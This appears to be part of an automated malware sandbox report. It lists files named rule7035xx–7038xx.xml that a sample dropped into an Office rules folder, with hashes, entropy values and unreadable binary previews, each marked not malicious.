Preview:	<?xml.&..x&....S.q..z]..A.....?.J..}...pR.F.Q.;.....{...qs4.G=.kP...p...&6..;wi46.E\.G..l.../2......X..M...-..w]......o..HX.D.~..D.Rk..q.>Q}E3.;.^...".1.{........QF}.~[.w"Qy.+.LVkm...8............U5[&.Y.;4....,...!..f.t.{l(....V.O.....i....Z\|4.,=>m.L!.....7=.7#.Q1.J..r.!.....c.....\.M..7.js...Oz.3...k..^.r.y.;....lGn...;.d~P..E..+...F...'7..{.H.....L_.&x.."X9.1.}.qr.......O..t#].........^..a...$VBx;...qc.$..q.z'"Di\..Zl&3.\|&b...W.."..,._.Zb.-..e.....".......S.N........r...H.cq...2.p....Y...Z.b.....=0...e.....!......\...{.v.].....$.'...........A..mE.j.e...X.F....F.h.k.LB., .>.....DS...r#'h.D;=...=.x<.B.#......N.F.M.iI.Y...3qRT..c.n...b.5:..\.._.<%.G.b..6?......Nmf.#(\.')...$tL..y`g.'.s.. .c.."Jr\|.9..:.!..*X..2...g..=.6...$..ng..,..a..b...."..,.i...J..\..N..kca.Z.N..Ssr;.@...~..E..D....(....h..4-..Iy.F$...`Q56.!..d.u.W..W............xr/>h..........\&7...mB.e./.w..[F.9.jmi[..(...>...f.....giu..f...r.....[..B.3...No.w..QSg.Z.....\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.860494329941659
Encrypted:	false
SSDEEP:	48:9E/Vf84th0kThUYh3cbrB4kpc+BIph95QXB3owBZyD:9efbdh3cp4EcjU4Ka
MD5:	E0B47B4644DC71452272A0AECC98D773
SHA1:	C02A5E2F053318EF7DA6A8FBAB7F4DA1BEF0183D
SHA-256:	4BA0EFD2622F4808AC60435E214FE91997C3C88098F31FE4B5B27DBCE79BC4C2
SHA-512:	81BDD02AF75159AFD4E809A302593519098D6E3F97CE416D34EC7F2D127E4BAD76FB18E2092E7CAB9B8EF02387A53E44D5AA855102C520AB10F4A06EA0DF578D
Malicious:	false
Preview:	<?xml........_..ftMe..qs ..E..}6....4n....Q.!g.....?g.#}:.Eu....7\..@=..T.............U.......x...lU.......E."....[..9U.>...c5...$....y............W...6...2.r.......^\....d..5...r.D...,Vy<.#..}jw'y.x......;b>......L...<..}b....k.UL%./.....t...U.^a15A.3..#.K..>....?..tso...K.....".Po}....1=..Z..D.}..P....C..P..=...Ub..Ef.......J.B...2M.....j..q....$...F.Z.)..Z...&.......O..C...WE.....c#1.?.[..6u2)...]..y:...F^...Q..b.>...L..n"0..=...;..p.*..`.K.{.1......+y..#.B...o.W....8fZ.....Y..........h2.0..$.m.t.@.p).#.1..7....&8y.>..]..2...e.~.......Q...\|..qZ....S}H.+.B]..L.1..=.}..........y&O.V..nB-#..u...;{6...p.6.v@,4.U...Xo......S@2.g.b.-.H.D...Q/...O..v..Az2^....%.....-/.{..:..o.o..o.u.$M...^...F.l...aK....\B....y.:Ao........S8.`n..@.&~..{.....#'+h..uQ.......@../.........(H..I.k......g....>..p..FZ.N{.}T...8T...fn..{E9.Z.)...<.Q..G....3.BfC.8y.h4.....N.V.9<.O..$}....4.a.v....}wALV...T........q$...M....)5.E+D...Q.b."#..)..`..`G^F..1...t`..b.2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.859209141770141
Encrypted:	false
SSDEEP:	48:eLiSlqEL0RHHgelI/tBPxAyk8GcIERAV3wRtS+tcnGnyD:eh8EL0dHLls5IER23etS+tWea
MD5:	DA954EE50A55412AE05057F1463973B8
SHA1:	1323FF2094287DC55EA7D71F5C8CE65059F5FC1D
SHA-256:	71EAD113499DDF3D8695B755F2B8D657074098D2DC2D5662DEEA4ED2575A29DA
SHA-512:	B10BB60473DA8BCEB8B753A22C1D5947D9F9B00D203D8233E056F266380A8F0E27F38B896376AA8E341ABE684D03B273F3E1CCC4CA6AA9B68FD435B0BE26DAC6
Malicious:	false
Preview:	<?xml....e................`...w,."...+.DP.#.<V$.......q$..!.Z.zmt......B.0...B.J../....O....f..z..X..o.........._t.I..Y@.........,.....}q.&....s$~]..~..:W<.fyr....#p..[..w.[.x......jl.Bz..cm....X.0...9....H4.X5}J...4...%Nn..........F..3.}F..Q...Q..m../.(...E.3...i).W\i...PtR .E...6.Z....8.c.\w8.~.PuE.W....Z.QF.1...*Y.O.....3?.TE.k.<......0.vu..CF... ..0.......N.{...v.{...J..6C@k.[l-.....:..k.z...^.CE..sl.[.yN......V.G....j.".:_%;5..Q.H.\.,SK'.G..&......>&2K.......0.@'.../.....T..3.S-....q...k<......'ga............z<.d{'.XXU0..4....G......%.%?{`W.8.S..'!..........m...5........[.......].......Lf.\...u.6K.a.(.....Z5'..iA......X......FoC..kP=.X..,.....n....#=Z8.\....4t.s0.A.6.BX.."....;.l.........@r.aJ.0.v.....A.a..tj....N...,.O../.P...X......CD+38u#...p.3.<q...^C..qqx.."..z.m..]..5.B.!H..o.AX.3...FA+..mj..`.....k..6...D..wz..&.....1d.#.Y..GS0h ....C.o...K.RCE..r=r9l.....l.O...bQ..Mc..(&.s..pG...b......?'+..........].z>D.R.3.`..xf....0....._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.8707413731630185
Encrypted:	false
SSDEEP:	48:EUFzpZT1mLlca6wO2CmG2GlaA4DoTcxVubvgRyD:3FzpZTMl0QYR4qTvgRa
MD5:	0C445AE50A6F10467D5F10195C5EA3DD
SHA1:	963EA55F558FC23FB10192F1494B4F87730818B2
SHA-256:	B2D01E90CFC843E9BCABEE80A45D513529A88E8D14F7B208CF33C79B48BDE30F
SHA-512:	9429A92654FE2D4B217017CE120E9960B7AF31B1E60BF2200F60E8C6D34E6705BCB0D66CFB5FD060E79C13F7670E3FEC22192BEA447B6218A7F651961E9C90FC
Malicious:	false
Preview:	<?xml.$k.x...J`Xc...mRG8.T..L.\|.......[.$<.".^k.PX..+.z\&h}P.k.ld.O..X../xO.~......F_..".........?...{v..c.+L......m..3).[2K.a........Y...8O.'> .......Z?h...4..L.X...j..+...\|....Z..J..$\|....$..8.'.H2yM'....V'..........?.p.rI...O.\.'E..[j.....6...BC.{.."..[....e.k...v.b/<...3...!.T7Z....^A..R..rU!...nG..&kI..U1.3../.F...F.}..)hdn0X\|"l.........:.....=.K.....N.&.......WPQ...UQ......d./..._.O\3..$..<+..3.....=. ...e..\...&}m..jOC..'..........\..+..)32u.._I.4.&..O. .'......L...b.U."...0..h.l.sq......%.;.....<W.....p...yf....[...O..B0.).s+..%.P(.%.G1..J.[.f.~L+Yg..}.g...._.p..M....;.9Y.'o.:.z.....X..Sh..[?.TQ.9<...>..k....4.xE+.Faxz.y.../...J...k..L1.+7.......hp...Z..H.K....!1..h>.Z.(...j....\|.B...........w....b.....I..5.{>...V..2y`..oR?...4c.&.y..O./Z.z].".~.!%2..m.h_X..........].9I.3}. s..!.n...../.Zc:q.\|.......vB...~...3.T.s..mRv....c...v..B.%a..<.Z.D.w.....5..#:T..S3.n..2....M%..l.;.d.U.P.a.F.U.h.?).].'! a.m....)......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.886760159800619
Encrypted:	false
SSDEEP:	48:PHEvVpWSJdJfASraVF4W+k+xdtqCfd0HvTwyD:f0jzJdJA0aVCW+RxdtNuLwa
MD5:	21DE8954859D257EEE97B498A89F8599
SHA1:	08ECD99CE39FB05A53A96B1F42E92D87056636B2
SHA-256:	A26A867DFC818E8FB15342F6753B7F045D1A6DB6DEC9026B9CEC5726BB98BB0C
SHA-512:	82DC67CA1C622915E3F51568647C4902DD7E278EEC8026780FBD4E57FB7D9D3260130F34FD84AF057FCA2556178E417FF0C669CE2D04228395AFC6515CFF12F8
Malicious:	false
Preview:	<?xml.....^.i..y/..z.eY+...r.>..J....X..v._......yV..R..!?M..o3.........=`].....9...P5u.4......hy...r.W..5.5A..#..~..:.'.b.......D,]].z..'@.m....g..x.=...5hZ.aM..iSlY..h.._[...A..+AO.SzkL.. ...\|.\|..p3....;....=.+.....hK.S...U.F..U%...a)..>.l.O>...zu....6..$\|.Ri..u/..O...:..)p.....is=...<>......RK.t....w{.d.N1..j,.:3w.........i....';L.e...G..$.q...B.Q`1]....6..=s..1..U.Y...@.....-1....-._p.@.....".p.Jxy_s..y...S.`)8n..Q..4H9[c'.W...V........#G>fl.C..4-.J.... ...i.1.s..$...D..{K..iX..._._#g\|..;.9.....o0/.....0\H/..Q/I.d`..9..BY.y.....v.[.IO.......,.<.y..`?...6.Gjpr.3.........P........~.5..Jz{..\{.oy>.H.....H...yy......aa..=_.Z.._t..[.bI.8WR..pOn1.$..B.E...6..i....ggQ.>3.\|.qt.1)2#.,=...0...d`0>..r..W.....hm.XH...ZU.- ).[.".7..S....R..#......_P...7Y.?.`..[...d.m..].u.N....Y...[...`....2....^~........>1.......(..b.\....Vyr.*.E....<kf(Cjt.r.Kd\.......L..x....a.....k.....?..6........c...wv..].1vy..e..0..p...~.-...R.m}-....j..6s..2..yae...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.882260065504387
Encrypted:	false
SSDEEP:	24:vgv8MSWGKbTBXJ1PRrdN8ZwSQ3oNwWFoOqkBROPY6pt1vMTp/8astw1bD:MSjgdXJFRUZhQ3QwWFKaOQMHMV/RoyD
MD5:	34F5E80DF19B0C83EBBA6A0AC657EEC3
SHA1:	A7D7AC487BCF9E45C5A610A4A5D132AFDCC63D4A
SHA-256:	63C1C12F898DB7299C1D67A2DAA33A76F7CC96BB16A20CA005D41138A993674A
SHA-512:	237C62DFC77FE3BDD111E9DE4474F9F91599970005D143445C0C40A50F8CE8A839DBF394027533C6B0B0D3DED191B0BF64505ADBB3B1645855AF50B4B51BF9BA
Malicious:	false
Preview:	<?xml..g..Bh.:..D.i.k . .....p.o..'.'.D.J.d.4k.'..v#.....].V.K.f. ..]t....A\.r....6..A.t.^..~T.z..e.a+.\$2K:T U.:.2.a./.$-TW:1...X...iP[.,......uL....x.A.......2mx.C..V.x$....r2.#BKc.%...V!..Q....f...>..K..y...@}......\...l..g433}g.....u.T....}FE.../6.I?!E..a.......?H...O..O.Lj..p..]r.....n.5D.....6......l@.s{...%.........F.p8j4...B.`...%..m..a.y.o..a..0.{.#yzP.mk{-VA..Uj..I..[su.....G4.x......\|.S..g.4G..>.^....DO....B.1.1)_...<Y.g"..".........a../.SZs.....h.3}...x..mn,......#.@..58..................lt.1....!..D.-.....F.....x.p.J\...'.xO<.d.U.}F....k..J..."n.hqH.Y..R.<...[a.7N7;}..H.=...?.....%.:..@>..=...`.?.$\|..Ot..t#.O=t..../. .H...V..Z....}.\I..Y...g...n.....uO.1..^-.F.cS^6m...K...b.%....:xNy.u.E.w.....q._.v...F.........Jx.......N.......U...q.......+2......l....>o....A.5h....;.......RO`.._.v...A........j.+.........\.]I\$........^(....O_..7..K.C.Sa.$g....m@j=...t ..A.....%).GOy`...O..o7....8.+.......4..`....'.c...%).dC.H=.#.S.*.-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.884878489936468
Encrypted:	false
SSDEEP:	24:FYvfl832fpsTjvxI0z8Qihk4vAEFSZmcijJcP+7RjOqy/vnwMqOsIBqmw1bD:FYi2fuTasKlSZmcij+PC7wnwMqOsoyD
MD5:	E7AEE338A24F211EA8A0C5E1E921BCA7
SHA1:	D59DA22DDF777501C1FF767B8590BD25908DECAE
SHA-256:	B6EF021DCCC3D0100B3453E642CDC5BE5674A2C8109D8B97147D22E03114157E
SHA-512:	C061F446FA58DEFD189DED2BD132C27AA21AF38FC688A7627621324304B5BBDD3E1BCD4B2759B9945A583279D049074076F423EFFF2521F3C50B3D22E926E648
Malicious:	false
Preview:	<?xml.)w>..;....$.yc..2.,d}.PnZq.'@k{0....a.......0r...1..05D.E.G...w..zv.)b...J.m9.^...b....O2g.tT...s.....F>.....^...'....3y%..0@.....%. ....2.pm.f....aW.......k.9...M..W..HW.).@.V:i%.Y.....Z..<%j.lz........y..d.....D...&...........mW.......4m{...C\.S...g.J...zx.5.....)./6..2$#J.....O.CQ1....g$a!.)._C..$t@.....Tp....\..x.~.I..RM..\.-auo.d.P0..\|.H....Y.",..&!.^..\.r.Q..m_.....[.a...e-.r.6.Z<........vDq.r...U.z..\|.....E.G.D...d.y...(...oz......5..>F.d.u....g.. ..d.fF.o...YP:l...U..7.mY...X....5..>.......JT....6.`.tr..w.7}.~.........d..zd8BG.........8q-`..2[...D...Y.u.R7`.yJ.2I............Nd....6W...W.i..?Y.l.N....?\Js%-.H.X...0..].E..R..d..1.$.p.Ht.z.~..Gvw....@...D..h..=.1.X.1. . O.3A.%....f'..x..q.w...5 ..Z.+b.....u..$o/n..bv-z.K...e.....h.B~.-.z.X....a..!E....Z..r...rrb.'t.5....qjT.]\...gW....#.q.vy ...U.h...=....C.u....D.Q.T.,"{.<.........]?...J..8:..v...%.v&._<~.~.s..D.lRh.H1..'.F...VZFSMg.U...@+..r>..H. I...".fG[i........1BA/#...j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8854920298894395
Encrypted:	false
SSDEEP:	48:nVTk4mpafPd0GetFV02+nnsDqnxwejdrFxdyD:Kodfu02+nsDEwej5Ba
MD5:	20E548B32ECCAFAD4CD49EDB50194FD1
SHA1:	253036234702D973EA87FBBC7146543119882B7B
SHA-256:	8F688C4428CBDC1ADACB3B12ADD92196F02B042D155B9051479968CEE1D7D5DC
SHA-512:	9F5CA2E46B25BA35402F75A1F5CD470C5889EC70D9385F8C6D88B04BFBE6E519638076C60FFE06B1FDA92AC1A3D700BA275423F7C09B795D571D7F4B20C6426A
Malicious:	false
Preview:	<?xml........Ldh..L.s..Sr..08.I.t..5..^.y .b...h5.[i..0........=a.6.!L.....p[.U..n.....%.6..... ..o.>...N...KS.Q..........B.-~.)..^...._.B..0.S...1..Me.$.......-..v8]....k...]P$k^+".....OC......MB....X.4...M.`./DR...?I.b....R.K..5.......EZo.`....hk....`).......ho<_f....qym....{\|Y..1t8..8.)H..cam.K=\|.W>..s..%.yK.s....k.....m9.X..mM=#..^mK.........J$.i..ssF..R......T9li...94.._.Y.q.~.&.xM..v*.$N.F.../N.yad......T.@....._4.Oiv......'?...I..0'T.3r..q..X..y...`F....v..+..M.Y.o....@j......U......F-.t..xl..[......=....kH...Z....`..w.y...l......~,.\|Gm. ........y...F.!4.....b..... .\.\^-5.....C.IOh.\|mOt"'..=bC=r.a...Qy..\|m.....8.`8t.v.;.q>.4.j.0?N^....q..[.V....P...u.o..xJ.y7RNZ:...E../.%V=>....VGZC.....D..J,...r`D.5.yf2.&J....!6=.j.....Q.\...s.W?\|..f.... .0p.=..7.n.r..+....H.'".V...i.n}..M..U.jP.....A..i.?...s.\|......>....-2{\a\....k.G(!.;....r8./.2....u...o............Zz...."!%_.l..qv...4......R.u+... ..E.i..D.....IB.....}..2-...C.R!.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.901915705661056
Encrypted:	false
SSDEEP:	48:GMmSEEw6R81Ggmm+3IWeK8ezVf/dvlEyD:GMm5U81CmKBeji+a
MD5:	FD5AF38EFB65D221B4BBE9711342F465
SHA1:	A24D6A754C14D223E7348064EFD7B128089AE559
SHA-256:	C877A37D5EB4FEA9498528D45AB4680200EB86C594CCAC3A90FE6AD3E17EBB4A
SHA-512:	BCF2A7C13ACE7E42204BF9022590160C9AA5AB02A9B78A9C4DE2098FB9F00A02BD4FE0AD05B9D2C436A10A37126611DB7151A3564A26F687DF592E9B8B764D95
Malicious:	false
Preview:	<?xmlv.UR&T%~[jp."v...].n}~\|..<..d.....@W....V ....).k.1.,..Q.....9IS.K..T..n1Z.......N......V...G.....W.H.;....%...G...u....!+..(.x.QH..;..\.\|3..4.......H........).W...g............d..d&....I.XV.\...........1...=........-t)....1C.8.....;..04.A.fk....>..yeq.!B.B.#.$z..g.~.!p8.....[..z. ..?.o..".F...RS.............X...w.......1.p.jjK....."M....5%F..7......!.p.h.-..g.>...{.u.]...5a....b...@...u6..cq}t(.\|.R...W).].U.KI.......M....-.O......s..D_nV~..C...P.$.a:.R.0...QEM.u...X.#...7>.B .$.Xb].].K.P...O.+2...V%S.k...k...At/.U.!..}.}.8..G3..2..Ts.G2..H..O..\|...3.z9..B...c...6...........DN.-.Z..Q.7...O.....\|5%.D.h.,I.[@...s....q.<.ok.;PbP.n)../....&u..V.H1..^...8....`.\|..^I..................?.....OC.-{.&h./........C..L.Qx...?...mQ.....C...A.N8h!.....9.?k.4Q.<../...k1.i....>L.B.>...8...s.A.1.(..._.Ytj........^...G...F61..F..CA!V.v9.....eb......8....5...3.].M...>.$..e5...<._^.5S.S...c..?.j....R.r}..Y.....h.h.o..[.5..)@..dWFv..I\|z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.893386575192073
Encrypted:	false
SSDEEP:	48:IQvI8SaPtlbEdnabi4Y2Q93ZDNlbxSTQsyD:IQw8SaPTbpW4YF1vlFiQsa
MD5:	032633E0C962395CFE92A181CAEE4985
SHA1:	0C4B7C6C61BD3A93AFB5F917FF2273CA05165BDF
SHA-256:	47E9FD5A450471780B2F7CEE954ACEE662B664DC872F4EF250206DE848DB7ACA
SHA-512:	A79F8BA21E4B751885E4B6389C2E82BD2896FC2A947B67929979689392EC0D0ABB61D15B80114B122D12E71F1CA9A1DDD4B2B16F53A570FF678833FFC2D6BC8A
Malicious:	false
Preview:	<?xml..-O.......... .1.b......a.QW.55......G.M.kg.}~...........t.m..N.o...._Q.'+....q.KW..9K^.u.?.V.n.;^{...T.......I..m....vH.M......?...MG..d...h..[f...uS....^>....3.AD.h...a_...v..L#....0.b...I..Wb........?l.ef.\|v........4(....1.;...c..........&..>.=.x/.....W..z.B..e...j=.2..fUz...u...u.\|H..b......h.(mj......P..vK.U~........x..F....g.... p..X.(&%M......is................w.xJ..........9.\|...yl....&i..../.t.m.mTd.dr...`tf..l.m8I...?.DD{s<L..$f.P....;3...U.....M.0.~..+..d..\|..y@.j...Z.'E.O.R=^..B.......M.q..SF.0.....6.....o..=.Y...xb.P.K.. .C..../..M.~....l.......9.{7....}Al......./...Kv..\x.H.Gv.U.&./]..h~R.{tA......O.*$...K...B..J.........J.G{V...].4.).....T.y..C@'.g.5..w.....H.....f6.k...{.{.n...;5.[.YUB...]\|/%..v..a..l....Z..;...W..L^p....f_...&.6+..m...D..C....WLA.j.).....ob8.S....m..i.....\|.tGEc\..5.......96...gn.B0.=.'.k ..n..&.)^.i0C..A'...x..`N..,..L.^.s.jm2p.6...\'.&....q.P..nN..A$eC2..t...!r....>p..\|.h4/.c.CBISb:.t....=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.882611936331731
Encrypted:	false
SSDEEP:	24:jYSoxAQAaJZF2C8mFVRR5lPPgRQap5aPrxYo3cKik+8kYq2knZjalW1ZMPuJw1bD:jPyAQvHMaWRD5aPrCKI8JMnt8gHJyD
MD5:	BC64E1333505D05F0ACCDC371B9B9B38
SHA1:	A8F4DCBFF8BADCC91AC9740E4DB21D33A2212625
SHA-256:	7F8D85994E0E6B846DDC331101D7322EFA4A671BEDAB95BAFD8FA72408B1CCCD
SHA-512:	1D8BAF517B1E7E53CAB846C535782A3D589A2332A916B514F2F50AFA563DD8F162DC0632FB2686C3AAD8ACA1ABA755727E73F7FDA894852E5864D27CF0695F30
Malicious:	false
Preview:	<?xml.o....l5.E....k.{.]....sT.w.k......m.II5C..,x....s.D?..j.B..A..+..cIZ.I......../n..........V.:...d.0...N... t!Y....m?......G..'9.qP.&..RB.94.fk.T.-..?.].H(.v...1-...usX..j.yh..-.'..}..y%4BJ]..\8.c$.V....S.?...C.m.R.^..d..].+.BQ...=Go.kn.{..\..%^...... ...9`...>....a/m.r.$..aM.t.c....L.an.gc.B....JN.....,L.UG...Uo.u&8...Q..i......1.4B.!f. .,(..."R..........;.F..k~@.l....qW.!....X..Q.`c0..A.A.y...`..y.......k.4k.^4...5...x?7..t~J......vI.+.q.?......;^Z...........E8.R......8O=bou.4,.M:..w..7'...!E1....\>m.$S(...b.....MF...e4......x.\|.S......I3m..$-......6;j..../..d.r......V....I..`.....^.].T,oSQ-..zs..qB.....m.S1....o..-..h.H$."...t....G....~....+u.......fxO.Y9....$.(...:..k.xc..~)..vq.k.....H<.F'70.].X..u}...:..A..{5m.'O.WT...\|..$...3.h....O.....(...{v.\R...d..,.$.....N........ 5..`i...\|.-4P.O$AI>.Z.....Q..CG.tv.MJN.4.M.<.c...m./.....2+.I...........v...g.}d.9.....2.../..lEvz,.....+.=P.....*.....VO.0..C...{(.qg...DX..t...G........\|"..?p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.8818345947
Encrypted:	false
SSDEEP:	48:sXVmphmJlswhCWkRWXH12ohJc2zuKhafMyD:sXkLm7pkWkwX1va0a
MD5:	16ACAAE775337DB00059346C1ADF4D55
SHA1:	6C47F7F56CC1ECC956F648D52758AB602F163A0B
SHA-256:	84DCD16DB763A82B1F8C65C3B6BF81B10163C37201E4164C6B6D93B9D77490CC
SHA-512:	BD915A53FDE784778F82FA107A0BBE7EEB1AAE0D1EEEF71D501EA2354C343DA37CEEE1869F99627F2BF7336E4283F355442F3E839BB298BB64D62B94063602B5
Malicious:	false
Preview:	<?xml....oz.Y.J..-...l..-....K..._.S.z8{..:q..~w$.Q.e2.e3NZH"h.Klh.j.p.P.BT^g.....:FPjm..\|.g.d..^y....d.El=.~..1c.XG.qAi..i.i.M..4G.qHW..?...om.6d....\|...~.,..-..y6.N.Z[.~7...L...i.V...e...8......4.q...)....=.......^..#7.........p...I..g;\Sz..M.....`0.....H3.uC.?...1.Q...l[....}.'........D ..V.+.7Iw..w.f"j..3g.DX4\|...c.x.@^...H.=.H...)...i...........X...:...y!.[..vpe.!..h......6.O...SKQ......0.Js...-....iu}d0..B...N...._,......C...W9....\|@...B.C.j....d.zG......q...c.q........M.Y2..:....2..gcW.$...p.L..-V.^.e.&..z......#..a9......._.tj/...9.1.... `...5\'5. J+8.&.w......F....X..B...d...:&:....E.)}&....rZ...D.r....-]?...{....K."..4...S.........#a..Qv./..UA.v........H.*.c.........I..G...t.~P.j.E.=g..:....}..M.)~~..A...R............1..2....Y..D..:...2...5X[..ZY}0..W.4Rn;G...#...... .L.........8M~.h@.......7..}Y..!c{-P.......^6a..h.<.....A:x`./..Z..c..b..%j.."...c X...1p.[...v...C.....s.i.......d.S%8......t......y.J(t.p. ..V8......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.882767778984548
Encrypted:	false
SSDEEP:	24:5lXB2SHy3is5c1KdqEoXSUmQbPeu/daPVzLvMcleQpESz7Mi3VlPKm4G7h8t59wd:zB+31u1Kdvqec/kR9X7MillPKmf+v9yD
MD5:	19A8B1ADBFEBB04088C33E16E0E05514
SHA1:	22483216228F6F2EE7CF603911DD81AD469A4123
SHA-256:	6D7DC79BEF0021CA39F99D108BCBC84A40122D52A6673DFD521500F4B92F60C4
SHA-512:	C5879AAC8A017CA50383E5F5F46A6A9F078A8052491DAB9E937DEA9D66E59792E237AB7DB11D645264F3FA70AA8FF3FE54C397356B456FA6B1873E78573D43D8
Malicious:	false
Preview:	<?xml..C.c.>r....~......t..U..R....+ .u....u.g..\...M7.5.{.....m]...f.O.c.>..D..nC....y...B.{p.Z^..U.../..=b.,O..A..{...].%..T.....p...=.\|..5.[.)......61u@,.c..N1.....i.).....'.;_....m.'_..._W.;....\../.g.:....>...s..4....P.......~...90.~....X./.W......[.B\|R........8.>.5=)!.t.2..D..bqp.....D..j...k.....?[...9<s.D..B&`NXH...j`f4..L.a]...G..D.....@.......d..6.@M.p.u.0p..-../....Z."......`...l.....1D..v......`......E-..?.V..=.3R...J...[...O..rz{.2...\|....T.7..Z.Xr.B8Q4..O.k...9..2....}n..,..?...-..0._N..#...g......<n...z0X.&....Q.Q.\j<r.4m.Q....kY.$&#..5.j.2]6..^R.b...E.u...._.....h..p.K...r.k.Y.u.............O......d..7.K....V...O..d.._...`......\|....p.q..B\d%........6.?......o/;K..P}.x..8.>...Z...W...d..a...U5..=i.s..DE..9..l..v .?...00...J%.....czI.....>..#/......?..\|.qT..0.W.....w...A..J^[.Mk.lJ.27U.. .Q..=Yd.......lG.]..m.#.....>9.2.c.h/..dC.pn.S-g....mu3xN.E..3.s.m..uW..Y..}...H..+.]+.V.:.....6......t...K...{Yi..K..c....i..K.p&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.878260227820739
Encrypted:	false
SSDEEP:	24:HSEsdTvp7UyXjuqC9Ql9vCVXPJde4GVpYzfYfCTdmzH1pxsxJriUSNWjmSrw1bD:H8dl7UuRC9QzvCvdeRZCJMHdWNjSU1yD
MD5:	FB793AC16B6C49C444FCC81668652308
SHA1:	A3C3CFC006E1ACE112D1A2AA1FE5739A31A21FDE
SHA-256:	15775C881447FFAAD7116312C2E5B01DDF26475A9248A556C7F46F37AECA459C
SHA-512:	373C447D3C9882A249C6E59558669DAD10471659221B4214AC36C51256B1BB9AF780756CFD6426D72A18E906681F695F026677CF40BC0587D3C4D6B6ADA3CB6E
Malicious:	false
Preview:	<?xmlT..... ....C.G..M3.+w...p....9.a.J]%...#......y:...C%:]&.3..d.....ui...?.>......m........ ...4.@..........'......3>l5.#5.Y....!..^..O..a..Q..........,".j&..?.K...\|.a..A.......q<7....DQ.,#...<..A.G.mO...Q..u}...p....%.s.....6:.7.p..)A....'Ua....&.4...h...2M..D.I.....G.L...:.z.......@e..q.Q.HG...].+..........0.a..o-V...r...j...TKE....&.../...U=.....u!G.T;..?....%\|~...."0.J..'-...B.^n....c.._......h..am.\|.-..>..........c.n-.i>....$.5.by.. ,.e..3.\|.}d...k..!..3..S...>!....!L.&x?....Z.52.k.g..%b(.%.....Xq.%q..S-h..o.q.3..y...t._5.HF.5).....=.7..., .\|u4.x..!s.)......m.....e/.....kd......t@.8.......B<..F.U2..S.^o.%.K.^!`e.....&.<.#..(.\|G..)....q....j..t....s67.H.Q..w3=. m;k"..U..9../...7...&.>.2.3.5....%....{S......... ..\|&uK.6...k.r.*rtZqT.,}.N.\.f...2. ......2kS_x"s.S.U;...{.+.7v..z.H......A...I. :cXl".%.#:.....Qo.mYd...#..,..!.....7.8).v^$...[y.TE...l#./.t.=...Y...J.n..o'.....[..Ns.J.I.n..k.\|.Y/KX.%....F..]w]..#\|9....mP.H..y.S..=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.905894556554545
Encrypted:	false
SSDEEP:	48:veufGF+qV2Bn2O9JF7GmBnV33IL9tJyLB7nyD:GEGj28e/7Gmb3stJyLJa
MD5:	55072D9BA9307EA63A2BD00858381F49
SHA1:	B9BBF47C782ACA7A905D3CB0220FADEE638A7A65
SHA-256:	14FCB19E20DF373DDCC66A2280EABC06B533E7706FCA39FCD4FB1CF0F1FAE286
SHA-512:	369D30C8823BC7150E57F74AA067F78A2852D8C11271029F94767E325C9EEC9D963A98A7BDEB101F49A0BE8134AC081AAD301F2D1DE6744006C5B21834C33E01
Malicious:	false
